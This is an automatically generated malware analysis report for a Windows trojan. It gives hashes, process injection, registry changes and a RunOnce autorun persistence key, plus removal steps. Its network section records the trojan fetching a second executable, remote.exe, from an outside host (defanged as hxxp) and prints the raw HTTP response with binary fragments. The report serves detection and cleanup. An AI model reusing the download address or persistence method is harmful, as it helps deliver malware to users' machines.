HEUR:Trojan.Win32.Generic (Kaspersky), Trojan.MSIL.Agent.BRS (B) (Emsisoft), Trojan.MSIL.Agent.BRS (AdAware), mzpefinder_pcap_file.YR (Lavasoft MAS)Behaviour: Trojan
The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.
Summary
MD5: cdec5bda17b9b80ba29c74a86545345b
SHA1: 05364849c4f03f11dc8091783edd029655df198c
SHA256: 381447c3ba7bf64f01950dc2eed4284704d37320ee39eda11652495f7f97416f
SSDeep: 24576:hiR3QuhFhvROg teCSUPpfMxHuIgflJwtsTcwHBvCHmSbOAznn42mvK78zxKtSpp:BGD5UJ4c0y0HPODNKwVQsEhccggAYZE
Size: 3000320 bytes
File type: EXE
Platform: WIN32
Entropy: Not Packed
PEID: MicrosoftVisualC, NETexecutable, UPolyXv05_v6
Company: no certificate found
Created at: 2016-11-07 06:15:33
Analyzed on: Windows7 SP1 32-bit
Summary: Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).
Dynamic Analysis
Payload
No specific payload has been found.
Process activity
The Trojan creates the following process(es):
KNKM4Z122F.exe:2836
%original file name%.exe:1072
The Trojan injects its code into the following process(es):
KNKM4Z122F.exe:4024
Mutexes
The following mutexes were created/opened:No objects were found.
File activity
The process %original file name%.exe:1072 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\KNKM4Z122F.exe (25659 bytes)
Registry activity
The process KNKM4Z122F.exe:2836 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
"UNCAsIntranet" = "0"
The Trojan deletes the following value(s) in system registry:
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"
The process KNKM4Z122F.exe:4024 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]
"OMEWPRODUCT_WBNB9" = "C:\Users\"%CurrentUserName%"\AppData\Local\Temp\KNKM4Z122F.exe"
The process %original file name%.exe:1072 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKCU\Software\Microsoft\wewewe]
"partner" = "idsc"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
[HKLM\SOFTWARE\Microsoft\Tracing\cdec5bda17b9b80ba29c74a86545345b_RASMANCS]
"ConsoleTracingMask" = "4294901760"
"EnableConsoleTracing" = "0"
[HKLM\SOFTWARE\Microsoft\Tracing\cdec5bda17b9b80ba29c74a86545345b_RASAPI32]
"EnableConsoleTracing" = "0"
[HKCU\Software\Microsoft\wewewe]
"Product" = "unknown"
[HKLM\SOFTWARE\Microsoft\Tracing\cdec5bda17b9b80ba29c74a86545345b_RASAPI32]
"ConsoleTracingMask" = "4294901760"
"FileDirectory" = "%windir%\tracing"
[HKCU\Software\Microsoft\wewewe]
"channel" = "1"
[HKLM\SOFTWARE\Microsoft\Tracing\cdec5bda17b9b80ba29c74a86545345b_RASAPI32]
"EnableFileTracing" = "0"
"FileTracingMask" = "4294901760"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"
[HKLM\SOFTWARE\Microsoft\Tracing\cdec5bda17b9b80ba29c74a86545345b_RASMANCS]
"FileDirectory" = "%windir%\tracing"
"MaxFileSize" = "1048576"
"FileTracingMask" = "4294901760"
[HKLM\SOFTWARE\Microsoft\Tracing\cdec5bda17b9b80ba29c74a86545345b_RASAPI32]
"MaxFileSize" = "1048576"
[HKLM\SOFTWARE\Microsoft\Tracing\cdec5bda17b9b80ba29c74a86545345b_RASMANCS]
"EnableFileTracing" = "0"
The Trojan deletes the following value(s) in system registry:
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"
Dropped PE files
MD5 | File path |
---|---|
7d0668ef85f8f57bd8342a9d927e2102 | c:\Users\"%CurrentUserName%"\AppData\Local\Temp\KNKM4Z122F.exe |
HOSTS file anomalies
No changes have been detected.
Rootkit activity
No anomalies have been detected.
Propagation
Removals
Remove it with Ad-Aware
- Click (here) to download and install Ad-Aware Free Antivirus.
- Update the definition files.
- Run a full scan of your computer.
Manual removal*
- Terminate malicious process(es) (How to End a Process With the Task Manager):
KNKM4Z122F.exe:2836
%original file name%.exe:1072 - Delete the original Trojan file.
- Delete or disinfect the following files created/modified by the Trojan:
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\KNKM4Z122F.exe (25659 bytes)
- Delete the following value(s) in the autorun key (How to Work with System Registry):
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]
"OMEWPRODUCT_WBNB9" = "C:\Users\"%CurrentUserName%"\AppData\Local\Temp\KNKM4Z122F.exe" - Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
- Reboot the computer.
Static Analysis
VersionInfo
Company Name: SFW4E%JQ
Product Name: S
Product Version: 8.7.3.3
Legal Copyright: Copyright (c) 2016
Legal Trademarks:
Original Filename: TikTak.exe
Internal Name: TikTak.exe
File Version: 8.7.3.3
File Description: SFW4E
Comments: S
Language: English (United States)
Company Name: SFW4E%JQProduct Name: SProduct Version: 8.7.3.3Legal Copyright: Copyright (c) 2016Legal Trademarks: Original Filename: TikTak.exeInternal Name: TikTak.exeFile Version: 8.7.3.3File Description: SFW4EComments: SLanguage: English (United States)
PE Sections
Name | Virtual Address | Virtual Size | Raw Size | Entropy | Section MD5 |
---|---|---|---|---|---|
.text | 8192 | 2926092 | 2926592 | 4.16582 | 2322aa8ae00d541b408cd64a6c412726 |
.rsrc | 2940928 | 72244 | 72704 | 3.40925 | f01aaf595074d5ef86d3558d1ca2695f |
.reloc | 3014656 | 12 | 512 | 0.070639 | b56fafb086871b9e627924c1592afa53 |
Dropped from:
Downloaded by:
Similar by SSDeep:
Similar by Lavasoft Polymorphic Checker:
Network Activity
URLs
URL | IP |
---|---|
hxxp://weminternal.com/get/4/remote.exe | 46.105.121.115 |
IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)
Traffic
GET /get/4/remote.exe HTTP/1.1
Host: weminternal.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Date: Tue, 22 Nov 2016 13:14:34 GMT
Server: Apache/2.4.10 (Debian)
Cache-Control: no-cache
content-disposition: attachment; filename="remote.exe"
Keep-Alive: timeout=10, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: application/x-msdownload
55c00..MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...Z 4X.........."...0..B..........B`... ........@.. ....................................@.................................._..O....................................^............................................... ............... ..H............text...H@... ...B.................. ..`.rsrc................D..............@..@.reloc...............Z..............@..B................$`......H.......,"...............3... ............................................(....*..(....*.~....-.r...p.....(....o....s.........~....*.~....*.......*.~....*..(....*Vs....(....t.........*.0..M.......(.....o......s....%o......o....o ......&...%..|.o!................(....("...*..-.r=..ps#...z.($...o%...%-.rk..ps#...z.......%...o&...&*..0...........(".....('....o(...s).... o*....s ...%.o,...%.o-....('....o(...o......s/.......s0.....i.4.....%......io1......o....o....(2........o3...r...p(4...o5...*..0..........r...p(.......(......&..*................BSJB............v2.0.50727......l...D...#~..........#Strings............#US.........#GUID.......D...#Blob...........WU.........3........4...................5.............................................\...............3.......P.............................................6.......c.....c...Q.......(...n.(.........W. ...T. ...........P...g.............q...?...........!.\.........:............. ..... ..... .........,.\................. ..... ..... ............
<<< skipped >>>
Map
The Trojan connects to the servers at the folowing location(s):
Strings from Dumps
KNKM4Z122F.exe_4024_rwx_69722000_00002000:
.ri3J
.ri3J
-yiq.yiw
-yiq.yiw
-yiq.yi
-yiq.yi